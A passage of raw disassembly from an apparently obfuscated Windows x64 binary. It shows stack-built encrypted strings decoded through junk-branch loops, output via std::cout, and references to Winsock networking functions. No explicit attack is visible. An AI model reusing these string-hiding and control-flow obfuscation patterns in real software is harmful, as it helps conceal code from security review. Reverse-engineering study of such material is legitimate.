jmp 0x140080f64
add r9b, 0x2e
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x42
jmp 0x140081940
lea ecx, [r14 + 0x26]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0xa
sub r14b, 0x32
movzx eax, r14b
and al, r10b
mov ecx, 0x2f
sub cl, al
add cl, cl
add cl, r14b
add cl, r10b
mov byte [rbp + r11 + 0xc0], cl
inc r8
dec r11
inc r11
jmp 0x140080f64
add r14b, 0x1e
movzx eax, r14b
and al, r10b
mov ecx, reloc.WS2_32.dll_socket
sub cl, al
lea edi, [rcx + rcx]
add dil, r14b
add dil, r10b
dec r11
inc r11
jmp 0x140080f64
movabs rax, 0xc91db2f99f3b1c06
add rax, r11
and sil, al
add sil, sil
sub r10b, sil
lea edi, [rax + r10]
sub dil, 0x2a
movzx eax, byte [rbp + r11 + 0xc0]
add rax, r8
add r11, rax
inc r11
jmp 0x140080f64
add r9b, 0xa
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x46
jmp 0x140080f61
add r9b, 6
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x2a
jmp 0x140080f51
lea rdx, [rbp + 0x17cf218]
jmp 0x140081a20
lea rdx, [rbp + 0xd0a61a]
jmp 0x140081a20
lea rdx, [rbp + 0xc0]
nop
inc r12
cmp byte [rdx + r12], 0
jne 0x140081a20
mov r8, r12
lea rcx, [0x140999860]
call fcn.14007a180
nop
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x228]
call fcn.140069d90
lea rcx, [rbp + 0x218]
call fcn.1400706e0
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x268]
call fcn.140069d90
lea rcx, [rbp + 0x258]
call fcn.1400706e0
nop
lea rcx, [rbp + 0x1f8]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x238]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x298]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x278]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x2e0]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x300]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x2b8]
call fcn.14002f1f0
nop
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x140081af0
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, 1
call r8
nop
mov rcx, r13
call fcn.14002f1f0
nop
mov rcx, qword [rbp + 0xe0]
call fcn.14002f1f0
mov al, 1
jmp 0x140083426
mov byte [0x140996368], 1
mov byte [0x140999858], 0
mov r15, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov dword [rbp - 0x20], 0xcb8ff88b
mov dword [rbp - 0x1c], 0xb68cbbe1
mov dword [rbp - 0x18], 0xf3bebc80
mov dword [rbp - 0x14], 0x81b38e8d
mov dword [rbp - 0x10], 0xb68fbc8e
mov dword [rbp - 0xc], 0x98a789cb
mov dword [rbp - 8], 0x9d919e9b
mov dword [rbp - 4], 0x919de1ac
mov dword [rbp], 0xa291a5ec
mov word [rbp + 4], 0xe8a4
mov byte [rbp + 6], 0xf6
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 7], xmm0
mov dword [rbp + 0x17], eax
movabs rsi, 0x8121f9c709454b5a
movzx edi, byte [rsp + 0x20]
nop dword [rax]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r14d, r14d
cmp r14, 0x3b
jae 0x140082570
movzx r10d, byte [rbp + r14 - 0x20]
mov r11d, r10d
cmp rbx, r14
ja 0x140082567
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140081be2
lea rcx, [r14 + rsi]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
sub dil, 0x76
jmp 0x140081c0f
je 0x1400824e8
lea rax, [r8 + 2]
cmp rbx, rax
je 0x14008249f
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082440
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140082411
movzx r9d, r14b
cmp r8, r14
ja 0x14008255e
lea rax, [r8 + 1]
cmp rbx, rax
jae 0x140081c41
lea edx, [r9 + 0x62]
movzx eax, dl
and al, r10b
mov ecx, 0x29
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
jmp 0x140081c70
je 0x1400823c3
lea rax, [r8 + 2]
cmp rbx, rax
je 0x140082390
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082359
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140082314
nop
lea rdx, [rbx + r8]
cmp rdx, r14
jbe 0x140081fc4
nop dword [rax]
lea rax, [r8 + 4]
cmp rbx, rax
je 0x140081fa5
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140081f72
lea rax, [r8 + 0x5a]
cmp rbx, rax
je 0x140081f42
lea rax, [r8 + 0x3e8]
cmp rbx, rax
je 0x140081f23
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140081f06
lea rax, [r8 + 0x40]
cmp rbx, rax
je 0x140081ecf
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140081eb0
lea rax, [r8 + 9]
cmp rbx, rax
je 0x140081e90
lea rbx, [r8 + 0x80]
lea r8, [rbx + 0x40]
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140082541
lea rax, [r8 + 0x20]
cmp rbx, rax
jb 0x140082524
lea rax, [r8 + 0x61]
cmp rbx, rax
jb 0x140081dbd
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140081da2
lea rax, [r8 + 0x80]
cmp rbx, rax
jb 0x140081d87
lea rbx, [r8 + 0x40]
lea r8, [rbx + 1]
lea rax, [r8 + 0x41]
cmp rbx, rax
ja 0x140081e73
lea rax, [r8 + 9]
cmp rbx, rax
ja 0x140081e53
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140081e34
lea rax, [r8 + 3]
cmp rbx, rax
ja 0x140081dfa
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140081dda
lea rbx, [r8 + 1]
lea r8, [rbx + 0x41]
jmp 0x140081c80
lea ecx, [r9 - 0x22]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x12
jmp 0x140081c70
lea ecx, [r9 + 0x2a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x26
jmp 0x140081c13
add r9b, 0x76
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x3a
jmp 0x140081bb6
add r9b, 0x40
movzx eax, r10b
and al, r9b
mov ecx, 0x20
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x14008247d
sub r9b, 0x74
movzx eax, r10b
and al, r9b
mov ecx, reloc.WS2_32.dll_shutdown
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea edx, [r9 - 0x28]
movzx eax, r10b
and al, dl
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14008232a
add r9b, 0x24
movzx eax, r10b
and al, r9b
mov ecx, 2
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x1400824bd
add r9b, 0x70
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x10
jmp 0x140082506
sub r9b, 0x68
movzx eax, r10b
and al, r9b
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x28
add dil, r9b
jmp 0x1400824bd
lea edx, [r9 - 0x1c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x3c
add dil, dl
jmp 0x14008232a
add r9b, 0x30
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x50
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
add r9b, 0x7c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x64
jmp 0x14008247d
lea edx, [r9 - 0x38]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x78
add dil, dl
jmp 0x14008245e
add r9b, 0x14
movzx eax, r10b
and al, r9b
mov ecx, 0x3a
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
add r9b, 0x60
movzx eax, r10b
and al, r9b
mov ecx, 0x30
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea edx, [r9 - 0x54]
movzx eax, r10b
and al, dl
mov ecx, 0x26
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400823dd
lea r11, [r8 + 1]
cmp rbx, r11
jae 0x14008204b
lea ecx, [r9 + 0x5a]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x76
lea rsi, [r8 + 2]
lea rcx, [r8 + 3]
cmp rdx, 4
je 0x1400822fb
cmp rbx, r11
jbe 0x140082159
lea edx, [r9 + 0x72]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x1e
add dil, dl
cmp rbx, 1
jae 0x1400822dd
cmp rbx, r11
jne 0x14008221d
sub r9b, 0x78
movzx eax, r10b
and al, r9b
mov ecx, 0x24
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
jmp 0x140082506
jne 0x14008206a
sub r9b, 0x3c
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x5c
jmp 0x140082506
lea rsi, [r8 + 2]
cmp rbx, rsi
jne 0x140082092
lea edx, [r9 + 0x2c]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x34
add dil, dl
jmp 0x14008232a
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x1400820b8
sub r9b, 0x6c
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0xc
jmp 0x14008247d
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x1400820f1
sub r9b, 4
movzx eax, r10b
and al, r9b
mov ecx, select
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea rcx, [r8 + 3]
cmp rbx, rcx
jne 0x14008212d
sub r9b, 0x50
movzx eax, r10b
and al, r9b
mov ecx, 0x18
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea rax, [r8 + 8]
cmp rbx, rax
jne 0x140081feb
lea edx, [r9 + 0x64]
movzx eax, r10b
and al, dl
mov ecx, 0x22
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x1400823dd
jne 0x14008217a
lea edx, [r9 + 0x26]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0xa
add dil, dl
jmp 0x1400823dd
cmp rbx, rsi
jne 0x1400821b2
sub r9b, 0x26
movzx eax, r10b
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
inc r8
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
cmp rbx, rcx
jne 0x1400821f1
sub r9b, 0x56
movzx eax, r10b
and al, r9b
mov ecx, 0x2d
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, r9b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140082018
lea edx, [r9 + 0x5e]
movzx eax, r10b
and al, dl
mov ecx, 0x37
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14008232a
cmp rbx, rsi
jne 0x140082241
lea edx, [r9 - 0x10]
movzx eax, r10b
and al, dl
mov ecx, 0x38
sub cl, al
lea edi, [rcx + rcx]
add dil, r10b
add dil, dl
jmp 0x14008232a
lea rax, [r8 + 4]
cmp rbx, rax
jne 0x140082277
sub r9b, 0x40
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x40
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x14008229f
lea edx, [r9 + 0x28]
movzx eax, r10b
and al, dl
add al, al
movzx edi, r10b
sub dil, al
sub dil, 0x18
add dil, dl
jmp 0x1400823dd
cmp r8, 0x42
jb 0x1400822c6
lea edx, [r9 - 0x24]
movzx eax, r10b
and al, dl
add al, al
movzx ecx, r10b
sub cl, al
add cl, dl
lea edi, [rcx*2 - 8]
jmp 0x1400823dd
mov byte [rbp + r14 - 0x20], dil
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea edx, [r9 - 0x70]
movzx eax, r10b
and al, dl
movzx ecx, r10b
sub cl, al
add cl, 8
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008245e
lea edx, [r9 + 0x44]
movzx eax, r10b
and al, dl
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
jmp 0x14008232a
lea ecx, [r9 + 0x4e]
movzx eax, cl
and al, r10b
add al, al
sub cl, al
lea edi, [r10 + rcx]
sub dil, 0x22
sub r9b, 0x62
movzx eax, r10b
and al, r9b
add al, al
movzx ecx, r10b
sub cl, al
sub cl, 0x52
add cl, r9b
movzx eax, cl
mov byte [rbp + r14 - 0x20], al
inc r8
add rax, r8
sub r14, rax
jmp 0x1400824bd
sub r9b, 0x66
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
lea edi, [r10 + r9]
sub dil, 0x36
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
sub r9b, 0x36
movzx eax, r9b
and al, r10b
mov ecx, 0x3d
sub cl, al
lea edi, [rcx + rcx]
add dil, r9b
add dil, r10b
inc r8
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea edx, [r9 + 0x16]
movzx eax, dl
and al, r10b
mov ecx, 0x33
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
add r9b, 0x36
movzx eax, r9b
and al, r10b
add al, al
sub r9b, al
sub r9b, 0x7a
add r9b, r10b
mov byte [rbp + r14 - 0x20], r9b
inc r8
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
lea edx, [r14 + 0x46]
movzx eax, dl
and al, r10b
mov ecx, ntohs
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
dec r14
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
movzx r9d, r14b
lea edx, [r9 - 0x6e]
movzx eax, dl
and al, r10b
mov ecx, 1
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r10b
sub r9b, 0x16
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
sub r10b, 0x66
add r10b, r9b
add r10b, dil
mov byte [rbp + r14 - 0x20], r10b
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r14, rcx
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
movabs rax, 0x85a9e0e32e5a78c2
add rax, r14
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r10 + rax]
sub dil, 0x4e
lea edx, [r14 - 8]
movzx eax, r10b
and al, dl
mov ecx, 0x1c
sub cl, al
add cl, cl
add cl, r10b
add cl, dl
mov byte [rbp + r14 - 0x20], cl
inc rbx
mov rax, r12
sub rax, rbx
add r14, rax
jmp 0x140082506
movabs rax, 0x8365ed551bcfe20e
add rax, r14
and r11b, al
add r11b, r11b
sub al, r11b
lea edi, [r10 + rax]
sub dil, 0x62
movzx eax, byte [rbp + r14 - 0x20]
add rax, r8
add r14, rax
inc r14
movabs rsi, 0x8121f9c709454b5a
jmp 0x140081ba3
sub r9b, 0x3e
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x4e
jmp 0x140081ba0
add r9b, 0xe
movzx eax, r10b
and al, r9b
add al, al
sub r10b, al
lea edi, [r9 + r10]
sub dil, 0x62
jmp 0x140081b90
lea rdx, [rbp + 0x14ea058]
jmp 0x140082574
lea rdx, [rbp + 0xd3ebb2]
jmp 0x140082574
lea rdx, [rbp - 0x20]
xorps xmm0, xmm0
movups xmmword [rbp + 0x118], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x128], xmm1
nop dword [rax]
inc r12
cmp byte [rdx + r12], 0
jne 0x140082590
mov r8, r12
lea rcx, [rbp + 0x118]
call fcn.14002ed40
mov dword [rbp + 0x138], 0xa
lea rdx, [rbp + 0x118]
mov rcx, r15
call fcn.140071f60
lea rdx, [0x14006baf0]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
nop
lea rcx, [rbp + 0x118]
call fcn.1400716d0
nop
lea rdx, [rbp + 0x228]
lea rcx, [rbp + 0x228]
call fcn.140069d90
lea rcx, [rbp + 0x218]
call fcn.1400706e0
nop
lea rdx, [rbp + 0x268]
lea rcx, [rbp + 0x268]
call fcn.140069d90
lea rcx, [rbp + 0x258]
call fcn.1400706e0
nop
lea rcx, [rbp + 0x1f8]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x238]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x298]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x278]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x2e0]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x300]
call fcn.14002f1f0
nop
lea rcx, [rbp + 0x2b8]
call fcn.14002f1f0
nop
mov rcx, qword [rbp + 0x1f0]
test rcx, rcx
je 0x140082696
mov rax, qword [rcx]
mov r8, qword [rax]
mov edx, 1
call r8
nop
mov rcx, r13
call fcn.14002f1f0
nop
mov rcx, qword [rbp + 0xe0]
call fcn.14002f1f0
xor al, al
jmp 0x140083426
mov dword [rbp - 0x70], 0x8d827e6b
mov dword [rbp - 0x6c], 0x523c8f7d
mov dword [rbp - 0x68], 0x748e8f8f
mov dword [rbp - 0x64], 0x916f9977
mov dword [rbp - 0x60], 0x604e216f
mov dword [rbp - 0x5c], 0x63639969
mov word [rbp - 0x58], 0x958
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp - 0x56], xmm0
mov dword [rbp - 0x46], eax
mov byte [rbp - 0x42], al
movabs rsi, 0xa1fb9e0921f5ba03
movabs r14, 0xb1d88e5231a38a1b
movzx edi, byte [rsp + 0x20]
nop word [rax + rax]
call fcn.140068228
mov rbx, qword [rax]
call fcn.140068230
mov r8, qword [rax]
xor r10d, r10d
cmp r10, 0x2f
jae 0x1400831be
movzx r9d, byte [rbp + r10 - 0x70]
mov r11d, r9d
cmp rbx, r10
ja 0x1400831b5
lea rdx, [r8 + 1]
cmp rbx, rdx
jae 0x14008276a
lea rcx, [r10 + rsi]
mov rax, rcx
and rax, r11
imul rdi, rax, 0xfffffffffffffffe
add rdi, rcx
add rdi, r11
sub dil, 0x15
lea rcx, [r8 + 4]
lea rax, [r8 + 3]
jmp 0x140082797
je 0x140083140
lea rax, [r8 + 2]
cmp rbx, rax
je 0x1400830e2
lea rax, [r8 + 3]
cmp rbx, rax
je 0x1400830b8
lea rcx, [r8 + 4]
cmp rbx, rcx
je 0x140083097
cmp r8, r10
ja 0x1400831ac
cmp rbx, rcx
jae 0x1400827bd
lea ecx, [r10 + 0x3f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x47
jmp 0x1400827f2
cmp rbx, rdx
je 0x140083053
cmp rbx, rax
je 0x140083032
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140083007
cmp rbx, rcx
je 0x140082fbf
lea rax, [r8 + 7]
cmp rbx, rax
je 0x140082f95
lea rax, [r8 + rbx]
cmp rax, r10
jbe 0x140082c40
nop
lea rax, [r8 + 8]
cmp rbx, rax
je 0x140082c21
lea rax, [r8 + 0x41]
cmp rbx, rax
je 0x140082c00
lea rax, [r8 + 0x42]
cmp rbx, rax
je 0x140082bdd
lea rax, [r8 + 5]
cmp rbx, rax
je 0x140082bae
lea rax, [r8 + 0x61]
cmp rbx, rax
je 0x140082b8f
lea rax, [r8 + 0x28]
cmp rbx, rax
je 0x140082b74
lea rax, [r8 + 3]
cmp rbx, rax
je 0x140082800
lea rbx, [r8 + 0x400]
lea r8, [rbx + 0x400]
lea rax, [r8 + 0x400]
cmp rbx, rax
jb 0x14008318f
lea rax, [r8 + 0x10]
cmp rbx, rax
jb 0x140083172
lea rax, [r8 + 1]
cmp rbx, rax
jb 0x140082967
lea rax, [r8 + 0x200]
cmp rbx, rax
jb 0x14008294c
lea rax, [r8 + 9]
cmp rbx, rax
jb 0x140082b26
lea rax, [r8 + 0x5a]
cmp rbx, rax
jb 0x140082ab5
lea rax, [r8 + 0x64]
cmp rbx, rax
jb 0x140082a92
lea rax, [r8 + 6]
cmp rbx, rax
jb 0x140082800
mov rbx, rax
lea r8, [rax + 0x7a]
lea rax, [r8 + 0x7a]
cmp rbx, rax
ja 0x140082a68
lea rax, [r8 + 0x40]
cmp rbx, rax
ja 0x140082a49
lea rax, [r8 + 4]
cmp rbx, rax
ja 0x140082a1a
lea rax, [r8 + 0x1000]
cmp rbx, rax
ja 0x1400829ec
lea rax, [r8 + 0x20]
cmp rbx, rax
ja 0x1400829cd
lea rax, [r8 + 2]
cmp rbx, rax
ja 0x1400829a5
lea rax, [r8 + 0x3e8]
cmp rbx, rax
ja 0x140082982
lea rax, [r8 + 0xa]
cmp rbx, rax
ja 0x140082800
mov rbx, rax
lea r8, [rax + 0xa]
jmp 0x140082800
lea ecx, [r10 - 0x5f]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x67
jmp 0x1400827f2
lea ecx, [r10 - 0x6b]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x13
jmp 0x140082736
lea edx, [r10 - 8]
movzx eax, dl
and al, r9b
mov ecx, 0x1c
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx r11d, r10b
jmp 0x14008306d
lea edx, [r10 - 0xe]
movzx eax, dl
and al, r9b
mov ecx, 0x31
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
inc r8
dec r10
inc r10
jmp 0x140082723
lea ecx, [r10 - 0x1a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x4a
movzx r11d, r10b
jmp 0x140082f41
lea ecx, [r10 - 0x20]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x20
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
lea edx, [r10 - 0x26]
movzx eax, dl
and al, r9b
mov ecx, 5
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
lea edx, [r10 - 0x32]
movzx eax, dl
and al, r9b
mov ecx, 0x2f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140083103
lea ecx, [r10 - 0x38]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x78
movzx eax, byte [rbp + r10 - 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140082723
lea ecx, [r10 - 0x47]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0xf
mov byte [rbp + r10 - 0x70], dil
inc r10
jmp 0x140082723
lea ecx, [r10 - 0x53]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x45
cmp rbx, 6
jae 0x140082f22
lea rax, [r8 + 6]
cmp rbx, rax
jbe 0x140082e68
lea edx, [r10 - 0xa]
movzx eax, dl
and al, r9b
mov ecx, 0x23
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
cmp r8, 0xa
jb 0x140082aa8
movzx r11d, r10b
lea ecx, [r11 + 0x32]
movzx eax, cl
and al, r9b
mov edx, select
sub dl, al
add dl, dl
add dl, cl
add dl, r9b
lea edi, [rdx + rdx]
jmp 0x14008306d
lea ecx, [r10 - 0x59]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
add dil, 0x6f
lea rax, [r8 + rbx]
cmp rax, 3
je 0x140082f78
lea rax, [r8 + 0x400]
cmp rbx, rax
jbe 0x140082d7f
lea ecx, [r10 - 0x49]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
dec dil
jmp 0x140082acb
lea ecx, [r10 + 0x74]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2c
jmp 0x140083103
lea ecx, [r10 + 0x6e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 2
movzx r11d, r10b
jmp 0x140082fd9
lea edx, [r10 + 0x68]
movzx eax, dl
and al, r9b
mov ecx, setsockopt
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
movzx r11d, r10b
lea edx, [r11 + 0x5c]
movzx eax, dl
and al, r9b
mov ecx, 0x3e
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082f41
lea ecx, [r10 + 0x56]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x5a
dec r10
inc r10
jmp 0x140082723
movzx r11d, r10b
lea ecx, [r11 + 0x4a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 6
jmp 0x14008306d
lea rax, [r8 + 0x80]
cmp rbx, rax
jae 0x140082c67
lea ecx, [r10 + 3]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x15
jmp 0x140082b3c
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082c9a
lea ecx, [r10 + 0x7e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x72
movzx eax, byte [rbp + r10 - 0x70]
add rax, r8
add r10, rax
inc r10
jmp 0x140082723
lea rax, [r8 + 3]
cmp rbx, rax
jne 0x140082cc6
movzx r11d, r10b
lea edx, [r11 - 0x76]
movzx eax, dl
and al, r9b
mov ecx, 0x1d
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x140082fd9
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082cfd
lea ecx, [r10 - 0x6a]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x1a
add rbx, r8
movzx eax, dil
mov rcx, r12
sub rcx, rax
add r10, rcx
inc r10
jmp 0x140082723
lea rax, [r8 + 6]
cmp rbx, rax
jne 0x140082d25
movzx r11d, r10b
lea ecx, [r11 - 0x64]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x44
jmp 0x140082f41
lea rax, [r8 + 7]
cmp rbx, rax
jne 0x140082d4f
lea ecx, [r10 - 0x5e]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x6e
dec r10
inc r10
jmp 0x140082723
lea rax, [r8 + 5]
cmp rbx, rax
jne 0x140082b3c
movzx r11d, r10b
lea edx, [r11 - 0x52]
movzx eax, dl
and al, r9b
mov ecx, 0x1f
sub cl, al
lea edi, [rcx + rcx]
add dil, dl
add dil, r9b
jmp 0x14008306d
lea rax, [r8 + 1]
cmp rbx, rax
jne 0x140082da7
movzx r11d, r10b
lea ecx, [r11 - 0x43]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x2b
jmp 0x14008306d
lea rax, [r8 + 2]
cmp rbx, rax
jne 0x140082dd1
lea ecx, [r10 - 0x37]
movzx eax, cl
and al, r9b
add al, al
sub cl, al
lea edi, [r9 + rcx]
sub dil, 0x7f
dec r10
inc r10
